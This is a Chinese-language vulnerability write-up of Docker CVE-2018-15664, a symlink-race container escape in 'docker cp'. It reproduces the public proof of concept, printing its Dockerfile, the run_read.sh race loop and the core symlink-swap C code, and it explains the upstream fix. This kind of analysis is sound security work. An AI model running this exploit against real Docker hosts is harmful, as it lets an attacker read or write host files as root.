Docker symlink-race attack - CVE-2018-15664

由 mayoterry 发布

1、 漏洞描述

来自SUSE安全团队的Aleksa Sarai公布了编号为CVE-2018-15664的docker相关高危安全漏洞,该漏洞的CVSS评分为8.7,影响面涵盖所有docker发行版本【注: 指漏洞发布时的所有docker版本】,攻击者可利用该漏洞逃逸出容器读取或篡改host或其他任意容器内的文件。

这种攻击的基本前提是 FllowSymlinkInScope 遭受了最基本的 TOCTOU 攻击(即 time-to-check-time-to-use 攻击。黑客可利用窗口期在解析资源路径之后但在分配的程序开始在资源上操作之前修改路径)。FllowSymlinkInScope 的目的是获取一个既定路径并以安全的方式将其解析,就像该进程是在容器内那样。完整路径被解析后,被解析的路径传递了一个比特位,之后在另外一个比特位上操作(在 docker cp 情况下,在创建流式传输到客户端的文档时打开)。如果攻击者能够在路径解析之后但在操作之前添加一个符号链接组件,那么就能以 root 身份在主机上解析符号链接路径组件。在“docker cp”情况下,它将导致任何人读取并写入主机任何路径的访问权限。

2、 漏洞复现

根据nvd描述,Docker在17.06.0-ce17.12.1-ce:rc218.01.0-ce18.06.1-ce:rc2版本范围内受该漏洞影响。我们进行漏洞复现选用的docker版本 为:18.03.0-ce

root@damain:~# docker -v
Docker version 18.03.0-ce, build 0520e24

漏洞poc参考作者Aleksa Sarai公布的poc文件:https://seclists.org/oss-sec/2019/q2/131

image-20200803130732941.png

简单说明文件用途:

Dockerfile : 构造Docker镜像文件

symlink_swap.c :运行在Docker容器内部的poc

run_read.sh : 实现读取宿主机文件内容的shell脚本

run_write.sh : 实现在宿主机写文件的shell脚本

以下为作者给出的poc利用过程

  % ./run_read.sh &>/dev/null & ; sleep 10s ; pkill -9 run.sh
  % chmod 0644 ex*/out # to fix up permissions for grep
  % grep 'SUCCESS' ex*/out | wc -l # managed to get it from the host
  2
  % grep 'FAILED'  ex*/out | wc -l # got the file from the container
  334

第三步中,如果 ex*/out 文件中有success 字符,则表示我们在容器里成功的读取到了host主机的文件内容。

image-20200803142343706.png

需要注意的是,我本地演示的机器为 ubuntu 16.04 ,直接执行 bash run_read.sh 时,会报错提示/builddir/symlink_swap.c:35:5: error: conflicting types for 'renameat2' ,此时可能是函数名冲突导致,我们将 symlink_swap.c 文件中第35行,77行 renameat2 重命名为其他函数名,然后重新执行脚本就行。

image-20200803143249214.png

3、 漏洞分析

列出作者Sarai所写poc的文件结构。

root@damain:/tmp# tree symlink_race
symlink_race
├── build
│   ├── Dockerfile
│   └── symlink_swap.c
├── run_read.sh
└── run_write.sh

Dockerfile 内容:

# Build the binary.
FROM opensuse/tumbleweed
RUN zypper in -y gcc glibc-devel-static
RUN mkdir /builddir
COPY symlink_swap.c /builddir/symlink_swap.c
RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c

# Set up our malicious rootfs.
FROM opensuse/tumbleweed
ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
ARG SYMSWAP_PATH=/totally_safe_path
RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
COPY --from=0 /builddir/symlink_swap /symlink_swap
ENTRYPOINT ["/symlink_swap"]

首先获取基础镜像 opensuse/tumbleweed ,然后在镜像里编译添加了poc文件 /symlink_swap , 最后写了一个falg

性质的文件 /w00t_w00t_im_a_flag ,内容为 "FAILED -- INSIDE CONTAINER PATH"

Run_read.sh内容:

SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag

# Create our flag.
echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 000 "$SYMSWAP_TARGET"

# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
    --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
    --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")

# Now continually try to copy the files.
idx=0
while true
do
    mkdir "ex${idx}"
    docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"
    idx=$(($idx + 1))
done

shell脚本在host主机 /w00t_w00t_im_a_flag 文件写入falg内容 SUCCESS -- COPIED FROM THE HOST , 然后build ,run cyphar/symlink_swap 容器 ,最后写了个while 死循环 ,实现不间断 docker cp 行为 。

Symlink_swap.c 内容:

重点内容:

    /*
     * Now create a symlink to "/" (which will resolve to the host's root if we
     * win the race) and a dummy directory at stash_path for us to swap with.
     * We use a directory to remove the possibility of ENOTDIR which reduces
     * the chance of us winning.
     */
    if (symlink("/", symlink_path) < 0)
        bail("create symlink_path");
    if (mkdir(stash_path, 0755) < 0)
        bail("mkdir stash_path");

    /* Now we do a RENAME_EXCHANGE forever. */
    for (;;) {
        int err = rrenameat2(AT_FDCWD, symlink_path,
                            AT_FDCWD, stash_path, RENAME_EXCHANGE);
        if (err < 0)
            perror("symlink_swap: rename exchange failed");
    }
    return 0;
}

symlink_path 为 argv[1]传递过来的参数,从run_read.sh中,我们可得知为目录 /totally_safe_path ,然后使用 symlink函数将symlink_path 软链接至系统跟目录 / 。最后使用 for (;;)死循环调用rrenameat2 函数,创造赢得 TOCTOU 攻击的机会。

根据作者介绍,poc脚本只有1%的机会成功利用 TOCTOU 攻击,但是在10s后,就极可能的成功获取到host主机上的文件。

In the case of run_read.sh, I get a <1% chance of hitting the race
condition (my attack script is quite dumb, it's possible with better
timing you'd be able to hit the race window much more effectively).
However <1% still means it only takes 10s of trying to get read access
to the host with root permissions.

4、 漏洞修复

参考moby github pr: https://github.com/moby/moby/pull/39292 (注:moby是继承了原先的docker的项目,是社区维护的的开源项目), 我们可知漏洞的修复方式是在执行docker cp时 ,进程docker-tar会先chroot到容器的跟目录,从而避免符号链接(symlink)攻击。

参考链接:

https://developer.aliyun.com/article/704515

https://seclists.org/oss-sec/2019/q2/131

https://github.com/moby/moby/pull/39292


暂无评论

发表评论